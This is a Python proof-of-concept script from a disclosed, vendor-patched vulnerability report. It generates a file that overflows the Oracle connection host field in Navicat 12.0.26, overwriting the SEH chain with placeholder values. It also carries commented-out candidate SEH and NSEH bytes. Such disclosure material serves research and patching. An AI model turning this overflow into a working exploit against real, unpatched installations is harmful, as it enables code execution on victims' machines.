#!/usr/bin/python # Title: Navicat < 12.0.27 Oracle Connection Overflow # Author: Kevin McGuigan # Twitter: @_h3xagram # Author Website: https://www.7elements.co.uk # Vendor Website: https://www.navicat.com # Date: 27/04/2018 # Version: 12.0.26 # Tested on Windows 7 32-bit # Vendor notified on 04/04/2018. Patch issued on 25/04/2018. # Generate file > Create new Oracle Connection > paste contents of "navicatPOC.txt" into host field and test connection to trigger overflow. filename="navicatPOC.txt" junk = "A" * 1502 #nseh = "\x4C\x4C\x77\x04" #seh= "\x75\x2a\x01\x10" nseh = "B" * 4 seh = "C" * 4 fill = "D" * 4000 buffer = junk + nseh + seh + fill textfile = open(filename , 'w') textfile.write(buffer) textfile.close()